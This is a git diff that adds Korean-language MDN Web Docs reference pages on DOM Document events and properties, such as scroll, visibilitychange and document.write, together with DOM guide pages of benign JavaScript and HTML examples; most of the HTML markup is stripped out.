+ + diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6552fbf6f2 --- /dev/null +++ b/files/ko/web/api/document/scroll_event/index.html @@ -0,0 +1,141 @@ +--- +title: scroll +slug: Web/API/Document/scroll_event +tags: + - DOM + - Event + - Event Handler + - Reference + - 레퍼런스 + - 이벤트 + - 이벤트핸들링 +translation_of: Web/API/Document/scroll_event +--- +

document view 나 element가 스크롤 될 때, scroll  이벤트가 발생합니다.

+ +

개요

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
인터페이스{{domxref("UIEvent")}}
버블element에는 없지만, document에서 실행될 때 버블링이 발생합니다.
취소가능여부불가
타겟DefaultView, {{domxref("Document")}}, {{domxref("Element")}}
기본 액션없음
+ +

속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성타입설명
target {{readonlyInline}}{{domxref("EventTarget")}}이벤트 대상 (DOM 트리의 최상위 타겟)
type {{readonlyInline}}{{domxref("DOMString")}}이벤트의 타입
bubbles {{readonlyInline}}{{domxref("Boolean")}}이벤트가 버블이 되는지
cancelable {{readonlyInline}}{{domxref("Boolean")}}이벤트 취소가 가능한지
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (document의 window)
detail {{readonlyInline}}long (float)0.
+ +

예제

+ +

스크롤 이벤트의 조절

+ +

scroll 이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.
+ {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}

+ +

그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 requestAnimationFrame에 대한 scroll이벤트를 최적화하는 예제입니다.

+ +
// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // scroll 위치에 대한 작업을 하세요
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

추가 예제

+ +

더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.

+ +

사양

+ + + +

브라우저 호환성

+ +

iOS UIWebView

+ +

iOS UIWebViews에서, 스크롤 중에는 scroll 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. Bootstrap issue #16202를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..b69b728e89 --- /dev/null +++ b/files/ko/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

styleSheetSets의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.

+ +

문법

+ +
var sets = document.styleSheetSets;
+
+ +

 반환시, sets는 사용할 수 있는 스타일 시트 세트의 리스트.

+ +

예시

+ +

ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.

+ +
let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i < sheets.length; i++) {
+  let item = document.createElement('li');
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}
+ +

Notes

+ +

사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 title을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.styleSheetSets")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html new file mode 100644 index 0000000000..527d754ddf --- /dev/null +++ b/files/ko/web/api/document/url/index.html @@ -0,0 +1,69 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/URL +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 URL 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.

+ +

예제

+ +

JavaScript

+ +
document.getElementById("url").textContent = document.URL;
+ +

HTML

+ +
<p id="urlText">
+  URL:<br/>
+  <span id="url">URL이 여기 보입니다</span>
+</p>
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 100)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}{{Spec2("DOM WHATWG")}}Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.
{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}{{Spec2("DOM1")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.URL")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..d15b1d3d38 --- /dev/null +++ b/files/ko/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,72 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Event + - Reference + - Web +translation_of: Web/API/Document/visibilitychange_event +--- +
{{APIRef}}
+ +

visibilitychange 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("event")}}
Event handler property{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}
+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}{{Spec2('Page Visibility API')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.visibilitychange")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..5bbe2eb242 --- /dev/null +++ b/files/ko/web/api/document/visibilitystate/index.html @@ -0,0 +1,56 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +

{{ ApiRef("DOM") }}

+ +

Document.visibilityState 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.

+ + + +

이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.

+ +

일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.visibilityState")}}

diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html new file mode 100644 index 0000000000..5320bb2861 --- /dev/null +++ b/files/ko/web/api/document/write/index.html @@ -0,0 +1,102 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.

+ +
주: as document.write writes to the document stream, calling document.write on a closed (loaded) document automatically calls document.open, which will clear the document.
+ +

구문

+ +
document.write(markup);
+
+ +

매개변수

+ +
+
markup
+
document 문성에 씌여질 텍스트를 포함하고 있는 스트링.
+
+ +

+ +
<html>
+
+<head>
+  <title>write example</title>
+
+  <script>
+    function newContent() {
+      alert("load new content");
+      document.open();
+      document.write("<h1>Out with the old - in with the new!</h1>");
+      document.close();
+    }
+  </script>
+</head>
+
+<body onload="newContent();">
+  <p>Some original document content.</p>
+</body>
+
+</html>
+
+ +

+ +

Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call document.open. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the h1 element becomes a node in the document.

+ +

If the document.write() call is embedded within an inlined HTML <script> tag, then it will not call document.open(). For example:

+ +
<script>
+  document.write("<h1>Main title</h1>")
+</script>
+
+ +
Note: document.write and document.writeln do not work in XHTML documents (you'll get a "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml {{Glossary("MIME type")}}. More information is available in the W3C XHTML FAQ.
+ +
Note: document.write in deferred or asynchronous scripts will be ignored, and you'll get a message like "A call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
+ +
Note: In Edge only, calling document.write more than once in an iframe causes the error SCRIPT70: Permission denied.
+ +
Note: Starting in 55, Chrome will not execute <script> elements injected via document.write() in case of an HTTP cache miss for users on a 2G connection.
+ +

사양

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}{{Spec2("DOM2 HTML")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.write")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document_object_model/events/index.html b/files/ko/web/api/document_object_model/events/index.html new file mode 100644 index 0000000000..2974c9d435 --- /dev/null +++ b/files/ko/web/api/document_object_model/events/index.html @@ -0,0 +1,84 @@ +--- +title: Events and the DOM +slug: Web/API/Document_Object_Model/Events +translation_of: Web/API/Document_Object_Model/Events +--- +
{{DefaultAPISidebar("DOM")}}
+ +

소개

+ +

이 장에서는 DOM 이벤트 모델을 설명한다.  Event 인터페이스는 DOM의 노드에서 이벤트 등록 및  event listeners를 위한 인터페이스와 더불어 다양한 이벤트 인터페이스가 서로 어떻게 관련되는지 보여주는 몇 가지 더 긴 예와 함께 설명된다.

+ +

There is an excellent diagram that clearly explains the three phases of event flow through the DOM in the DOM Level 3 Events draft.

+ +

Also see Example 5: Event Propagation in the Examples chapter for a more detailed example of how events move through the DOM.

+ +

Event listener등록

+ +

DOM 요소에 대한 이벤트 핸들러를 등록하는 방법에는 3가지가 있다.

+ +

{{domxref("EventTarget.addEventListener")}}

+ +
// Assuming myButton is a button element
+myButton.addEventListener('click', greet, false)
+function greet(event){
+    // print and have a look at the event object
+    // always print arguments in case of overlooking any other arguments
+    console.log('greet:', arguments)
+    alert('hello world')
+}
+
+ +

이 방식은 근대의 웹페이지에서 사용해야하는 방법이다.

+ +
+

Note: Internet Explorer 6–8 didn't support this method, offering a similar {{domxref("EventTarget.attachEvent")}} API instead. For cross-browser compatibility, use one of the many JavaScript libraries available.

+
+ +

더 자세한 내용은{{domxref("EventTarget.addEventListener")}}를 참조하세요.

+ +

HTML 속성

+ +
<button onclick="alert('Hello world!')">
+
+ +

속성에서 JavaScript 코드는 이벤트 매개변수를 통해 이벤트 객체를 통과합니다. 반환 값은 HTML 사양에 설명된 특별한 방법으로 처리됩니다.

+ +
+

경고: 이 방법은 피해야 합니다! 그것은 마크업을 부풀리고, 읽기 어렵게 만듭니다. 내용/구조와 행동에 대한 우려는 잘 분리되어 있지 않아 버그를 찾기가 더 어려워집니다.

+
+ +

DOM 요소 특성

+ +
// Assuming myButton is a button element
+myButton.onclick = function(event){alert('Hello world')}
+
+ +

The function can be defined to take an event parameter. The return value is treated in a special way, described in the HTML specification.

+ +

The problem with this method is that only one handler can be set per element and per event.

+ +

Accessing Event interfaces

+ +

Event handlers may be attached to various objects (including DOM elements, document, the {{domxref("window")}} object, etc.). When an event occurs, an event object is created and passed sequentially to the event listeners.

+ +

The {{domxref("Event")}} interface is accessible from within the handler function, via the event object passed as the first argument. The following simple example shows how an event object is passed to the event handler function, and can be used from within one such function.

+ +
function print(evt) {
+  // the evt parameter is automatically assigned the event object
+  // take care of the differences between console.log & alert
+  console.log('print:', evt)
+  alert(evt)
+}
+// any function should have an appropriate name, that's what called semantic
+table_el.onclick = print
+
+ + + + diff --git a/files/ko/web/api/document_object_model/examples/index.html b/files/ko/web/api/document_object_model/examples/index.html new file mode 100644 index 0000000000..aacebc7d07 --- /dev/null +++ b/files/ko/web/api/document_object_model/examples/index.html @@ -0,0 +1,372 @@ +--- +title: Examples +slug: Web/API/Document_Object_Model/Examples +--- +

이 장에서는 DOM을 사용한 웹, XML 개발의 긴 예제를 제공합니다. 예제는 문서의 object를 조작하기 위해 가능한 JavaScript의 일반적인 API, 트릭, 패턴을 사용합니다. 

+ +

예제 1: 높이와 너비

+ +

아래의 예제는 다양한 면적의 이미지를 통해 height 와 width  속성을 사용하는 방법을 보여줍니다:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>width/height example</title>
+<script>
+function init() {
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "<ul>";
+
+  for (var i = 0; i < arrImages.length; i++) {
+    strHtml += "<li>image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "<\/li>";
+  }
+
+  strHtml += "<\/ul>";
+
+  objOutput.innerHTML = strHtml;
+}
+</script>
+</head>
+<body onload="init();">
+
+<p>Image 1: no height, width, or style
+  <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
+</p>
+
+<p>Image 2: height="50", width="500", but no style
+  <img id="image2"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       height="50" width="500">
+</p>
+
+<p>Image 3: no height, width, but style="height: 50px; width: 500px;"
+  <img id="image3"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       style="height: 50px; width: 500px;">
+</p>
+
+<div id="output"> </div>
+</body>
+</html>
+
+ +

예제 2: 이미지 속성

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Modifying an image border</title>
+
+<script>
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+</script>
+</head>
+
+<body>
+<p>
+  <img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test">
+</p>
+
+<form name="FormName">
+  <input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" />
+  <input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" />
+</form>
+
+</body>
+</html>
+
+ +

예제 3: 스타일 조작

+ +

아래의 간단한 예제에서 HTML 단락 element( <p>)의 일부 기본 스타일 속성들은 DOM에서 검색하고 설정할 수 있는 element의 스타일 객체와, 그 객체의 CSS 스타일 속성을 사용해 접근합니다. 이 경우 개별 스타일을 직접 조작합니다. 다음 예제(예제 4)에서는 stylesheet와 해당 규칙을 사용해 전체 문서의 스타일을 변경할 수 있습니다. 

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Changing color and font-size example</title>
+
+<script>
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+</script>
+</head>
+<body>
+
+<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
+
+<form>
+  <p><input value="rec" type="button" onclick="changeText();" /></p>
+</form>
+
+</body>
+</html>
+
+ +

예제 4: Stylesheet 사용

+ +

document 객체의 styleSheets 속성은 그 문서에서 로드된 stylesheet 목록을 반환합니다. 이 예제에서 설명된대로 stylesheet, 스타일, CSSRule 객체를 사용해 이러한 stylesheet와 규칙에 개별적으로 접근할 수 있습니다. 이 예제는 모든 스타일 규칙 Selector를 콘솔에 출력합니다. 

+ +
var ss = document.styleSheets;
+
+for(var i = 0; i < ss.length; i++) {
+  for(var j = 0; j < ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}
+ +

아래와 같은 세가지 규칙이 정의된 하나의 stylesheet가 있는 문서의 경우: 

+ +
body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+
+ +

위 스크립트의 결과물은 아래와 같습니다:

+ +
BODY
+P
+#LUMPY
+
+ +

예제 5: Event 전파

+ +

This example demonstrates how events fire and are handled in the DOM in a very simple way. When the BODY of this HTML document loads, an event listener is registered with the top row of the TABLE. The event listener handles the event by executing the function stopEvent, which changes the value in the bottom cell of the table.

+ +

However, stopEvent also calls an event object method, {{domxref("event.stopPropagation")}}, which keeps the event from bubbling any further up into the DOM. Note that the table itself has an {{domxref("element.onclick","onclick")}} event handler that ought to display a message when the table is clicked. But the stopEvent method has stopped propagation, and so after the data in the table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Event Propagation</title>
+
+<style>
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+</style>
+
+<script>
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+</script>
+</head>
+
+<body onload="load();">
+
+<table id="t-daddy" onclick="alert('hi');">
+  <tr id="tbl1">
+    <td id="c1">one</td>
+  </tr>
+  <tr>
+    <td id="c2">two</td>
+  </tr>
+</table>
+
+</body>
+</html>
+
+ +

Example 6: getComputedStyle

+ +

This example demonstrates how the {{domxref("window.getComputedStyle")}} method can be used to get the styles of an element that are not set using the style attribute or with JavaScript (e.g., elt.style.backgroundColor="rgb(173, 216, 230)"). These latter types of styles can be retrieved with the more direct {{domxref("element.style", "elt.style")}} property, whose properties are listed in the DOM CSS Properties List.

+ +

getComputedStyle() returns a ComputedCSSStyleDeclaration object, whose individual style properties can be referenced with this object's getPropertyValue() method, as the following example document shows.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+
+<title>getComputedStyle example</title>
+
+<script>
+function cStyles() {
+  var RefDiv = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+</script>
+
+<style>
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px;
+}
+</style>
+
+</head>
+
+<body>
+
+<div id="d1">&nbsp;</div>
+
+<form action="">
+  <p>
+    <button type="button" onclick="cStyles();">getComputedStyle</button>
+    height<input id="t1" type="text" value="1" />
+    max-width<input id="t2" type="text" value="2" />
+    bg-color<input id="t3" type="text" value="3" />
+  </p>
+</form>
+
+</body>
+</html>
+
+ +

Example 7: Displaying Event Object Properties

+ +

This example uses DOM methods to display all the properties of the {{domxref("window.onload")}} {{domxref("event")}} object and their values in a table. It also shows a useful technique of using a for..in loop to iterate over the properties of an object to get their values.

+ +

The properties of event objects differs greatly between browsers, the WHATWG DOM Standard lists the standard properties, however many browsers have extended these greatly.

+ +

Put the following code into a blank text file and load it into a variety of browsers, you'll be surprised at the different number and names of properties. You might also like to add some elements in the page and call this function from different event handlers.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf-8"/>
+<title>Show Event properties</title>
+
+<style>
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+</style>
+
+<script>
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i<len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+</script>
+</head>
+
+<body>
+<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
+</body>
+
+</html>
+
+ +

Example 8: Using the DOM Table Interface

+ +

The DOM HTMLTableElement interface provides some convenience methods for creating and manipulating tables. Two frequently used methods are {{domxref("HTMLTableElement.insertRow")}} and {{domxref("tableRow.insertCell")}}.

+ +

To add a row and some cells to an existing table:

+ +
<table id="table0">
+ <tr>
+  <td>Row 0 Cell 0</td>
+  <td>Row 0 Cell 1</td>
+ </tr>
+</table>
+
+<script>
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i = 0; i < 2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+</script>
+
+ +

Notes

+ + + + + + diff --git a/files/ko/web/api/document_object_model/index.html b/files/ko/web/api/document_object_model/index.html new file mode 100644 index 0000000000..fa5ff39eec --- /dev/null +++ b/files/ko/web/api/document_object_model/index.html @@ -0,0 +1,350 @@ +--- +title: 문서 객체 모델(DOM) +slug: Web/API/Document_Object_Model +tags: + - API + - DOM + - Document + - Document Object Model + - Guide + - Overview + - Reference +translation_of: Web/API/Document_Object_Model +--- +

{{DefaultAPISidebar("DOM")}}

+ +

문서 객체 모델(DOM)은 메모리에 웹 페이지 문서 구조를 표현함으로써 스크립트 및 프로그래밍 언어와 페이지를 연결합니다. 이때 스크립트는 주로 JavaScript를 의미하나 HTML, SVG, XML 객체를 문서로 모델링 하는 것은 JavaScript 언어의 일부가 아닙니다.

+ +

DOM은 문서를 논리 트리로 표현합니다. 트리의 각 브랜치는 노드에서 끝나며, 각 노드는 객체를 갖습니다. DOM 메서드를 사용하면 프로그래밍적으로 트리에 접근할 수 있습니다. 이를 통해 문서의 구조, 스타일, 콘텐츠를 변경할 수 있습니다.

+ +

노드는 이벤트 처리기도 포함할 수 있습니다. 이벤트가 발생한 순간, 해당 이벤트와 연결한 처리기가 발동합니다.

+ +
+

더 알아보려면: DOM 소개 문서를 방문해보세요.

+
+ +

DOM 인터페이스

+ +
+ +
+ + + +

HTML DOM

+ +

문서는 다양한 HTML 관련 기능들을 포함하는 HTML 명세에 의해 확장된 {{DOMxRef("Document")}} 을 사용해 설명된 HTML 을 포함합니다.

+ +

HTML 객체는 또한 {{DOMxRef("Window")}} 인터페이스, 이에 관련된 {{DOMxRef("window.style", "Style")}}(보통 CSS), 컨텍스트에 관련된 브라우저의 히스토리인 {{DOMxRef("window.history", "History")}} 를 사용해 페이지가 그려지는 탭이나 창과 같은 브라우저의 다양한 기능들에 접근할 수 있게 해줍니다. 마지막에는, 문서의 {{DOMxRef("Selection")}} 이 완료됩니다.

+ +

자세한 내용은 HTML DOM API 문서를 참고하세요.

+ +

SVG 인터페이스

+ +

SVG 요소 인터페이스

+ +
+ +
+ +

SVG 데이터 타입 인터페이스

+ +

다음은 SVG 프로퍼티와 어트리뷰트 정의에 쓰이는 데이터 타입을 위한 DOM API입니다.

+ +

정적 타입

+ +
+ +
+ +

움직이는(animated) 형

+ +
+ +
+ +

SMIL 관련 인터페이스

+ +
+ +
+ +

기타 SVG 인터페이스

+ +
+ +
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG")}}{{Spec2("DOM WHATWG")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html new file mode 100644 index 0000000000..07d0d169e4 --- /dev/null +++ b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -0,0 +1,51 @@ +--- +title: 선택자로 DOM 요소 선택하기 +slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors +tags: + - Beginner + - DOM +translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors +--- +
{{ gecko_minversion_header("1.9.1") }}
+ +

선택자 API는 DOM에서 {{domxref("Element")}} 노드를 선택자를 통해 빠르고 쉽게 가져올 수 있는 메서드를 제공합니다. 이 방법은 JavaScript 코드에서 반복문을 통해 특성 요소를 탐색하던 이전 방법보다 훨씬 빠릅니다.

+ +

NodeSelector 인터페이스

+ +

본 명세는 {{domxref("Document")}}, {{domxref("DocumentFragment")}}, {{domxref("Element")}} 인터페이스를 구현하는 모든 객체에 메서드 두 개를 추가합니다.

+ +
+
querySelector
+
노드의 하위 트리에서 첫 번째로 일치하는 {{domxref("Element")}} 노드를 반환합니다. 결과가 없으면 null을 반환합니다.
+
querySelectorAll
+
노드의 하위 트리 안에서 일치하는 모든 Element를 포함한 {{domxref("NodeList")}}를 반환합니다. 결과가 없으면 빈 NodeList를 반환합니다.
+
+ +
참고: The NodeList returned by querySelectorAll() is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.
+ +

You may find examples and details by reading the documentation for the querySelector() and querySelectorAll() methods, as well as in the article Code snippets for querySelector.

+ +

선택자

+ +

The selector methods accept one or more comma-separated selectors to determine what element or elements should be returned. For example, to select all paragraph (p) elements in a document whose CSS class is either warning or note, you can do the following:

+ +
var special = document.querySelectorAll( "p.warning, p.note" );
+ +

You can also query by ID. For example:

+ +
var el = document.querySelector( "#main, #basic, #exclamation" );
+ +

After executing the above code, el contains the first element in the document whose ID is one of main, basic, or exclamation.

+ +

You may use any CSS selectors with the querySelector() and querySelectorAll() methods.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html new file mode 100644 index 0000000000..6bb71e8b44 --- /dev/null +++ b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html @@ -0,0 +1,95 @@ +--- +title: W3C DOM Level 1 Core 사용하기 +slug: Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core +tags: + - DOM + - NeedsUpdate +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core +--- +
{{DefaultAPISidebar("DOM")}}
+ +
+ +

The W3C's DOM Level 1 Core 는 documents의 콘텐츠 트리를 변경하기 위한 강력한 객체형 모델입니다. 웹 스크립팅을 위한 초석이기도 한 이 모델은 Mozilla Firefox and Microsoft Internet Explorer를 포함한 주요 브라우저에서 지원합니다.

+ +

What is a content tree?

+ +

많은 HTML 웹 페이지 저자(이하 개발자)는 HTML를 - 태그와 글자로 버무려진 - 평평한 무언가라고 생각할 수 있습니다. 하지만 HTML은, 그 이상의 의미를 가지고 있습니다. 모든 HTML 문서 (SGML document or XML document 또한) 트리 구조를 가지고 있습니다. 예를 들면 아래의 문서와 도면의 구조는 굉장히 유사합니다. (완전히 같지는 않습니다! whitespace in the DOM 문서를 참조하세요.)

+ +
<html>
+<head>
+  <title>My Document</title>
+</head>
+<body>
+  <h1>Header</h1>
+  <p>Paragraph</p>
+</body>
+</html>
+
+ +

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

+ +

모질라에서 어떤 HTML 문서를 파싱할 때, 컨텐츠 트리를 만들고 이를 HTML 보여줄 때 사용합니다.

+ +

